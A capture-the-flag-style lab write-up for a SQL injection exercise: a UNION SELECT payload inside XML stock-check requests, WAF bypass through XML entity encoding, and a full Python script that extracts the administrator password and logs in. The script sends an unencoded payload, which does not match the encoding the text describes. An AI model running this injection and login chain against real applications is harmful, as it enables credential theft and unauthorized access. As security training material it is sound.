SQLi Lab 18
SQL injection with filter bypass via XML encoding to extract admin credentials
SQL injection with filter bypass via XML encoding#
This lab demonstrates how SQL injection (SQLi) can be performed on a vulnerable stock check feature that accepts XML input. The application returns query results in the response, allowing a UNION SELECT
attack. A Web Application Firewall (WAF) blocks standard payloads, so XML entities are used to obfuscate the injection and bypass the filter. By determining the query structure and concatenating username and password fields, the administrator credentials can be retrieved and used to log in.
How Exploit Works#
- The stock check endpoint (
/product/stock
) accepts XML input with<productId>
and<storeId>
. - Inject mathematical expressions or
UNION SELECT
to test evaluation of input. - When blocked by WAF, encode payloads using XML entities (e.g.,
UNION
forUNION
). - Determine query returns a single column; concatenate username and password for extraction.
- Send encoded payload:
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></storeId>
xml- Extract administrator password from the response.
- Log in with administrator credentials to solve the lab.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmdExploit#
exploit.py
import sys
import requests
import re
import urllib3
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Optional: Proxy through Burp
proxies = {"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"}
def build_payload() -> str:
"""Return XML payload for UNION-based SQLi to fetch admin password."""
return """<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>
3
</productId>
<storeId>
1 UNION SELECT password FROM users WHERE username = 'administrator'
</storeId>
</stockCheck>"""
def post_data(lab_url: str, path: str, data, cookies=None, headers=None):
"""Send POST request with optional cookies and headers."""
try:
return requests.post(f"{lab_url}{path}", data=data, cookies=cookies, headers=headers,
allow_redirects=False, verify=False, proxies=proxies)
except requests.exceptions.RequestException as e:
print(f"[-] Failed to post data to {path}: {e}")
sys.exit(1)
def fetch(lab_url: str, path: str, cookies=None):
"""Send GET request with optional cookies."""
try:
return requests.get(f"{lab_url}{path}", cookies=cookies, allow_redirects=False,
verify=False, proxies=proxies)
except requests.exceptions.RequestException as e:
print(f"[-] Failed to fetch {path}: {e}")
sys.exit(1)
def main():
if len(sys.argv) != 2:
print("Usage: python xml_union_sqli.py <lab-url>")
sys.exit(1)
lab_url = sys.argv[1].rstrip("/")
print(f"[*] Target Lab: {lab_url}")
print("[*] Step 1: Injecting payload to retrieve administrator password...")
payload = build_payload()
headers = {"Content-Type": "application/xml"}
injection = post_data(lab_url, "/product/stock", payload, headers=headers)
print("[+] Payload sent!")
print("[*] Step 2: Extracting administrator password from response...")
try:
# Adjust regex if needed based on lab response
admin_password = re.findall("\n(.*)", injection.text)[0]
except IndexError:
print("[-] Failed to extract password from response")
sys.exit(1)
print(f"[+] Administrator password: {admin_password}")
print("[*] Step 3: Fetching login page...")
login_page = fetch(lab_url, "/login")
print("[+] Login page fetched!")
print("[*] Step 4: Extracting CSRF token and session cookie...")
session = login_page.cookies.get("session")
csrf_token_search = re.findall("csrf.+value=\"(.+)\"", login_page.text)
if not csrf_token_search:
print("[-] Failed to extract CSRF token")
sys.exit(1)
csrf_token = csrf_token_search[0]
print(f"[+] CSRF token: {csrf_token}")
print("[*] Step 5: Logging in as administrator...")
data = {"username": "administrator", "password": admin_password, "csrf": csrf_token}
cookies = {"session": session}
admin_login = post_data(lab_url, "/login", data, cookies)
print("[+] Logged in!")
print("[*] Step 6: Fetching administrator profile...")
admin_session = admin_login.cookies.get("session")
fetch(lab_url, "/my-account", cookies={"session": admin_session})
print("[+] Administrator profile fetched!")
print("[*] ✅ Lab should now be marked as solved!")
if __name__ == "__main__":
main()
python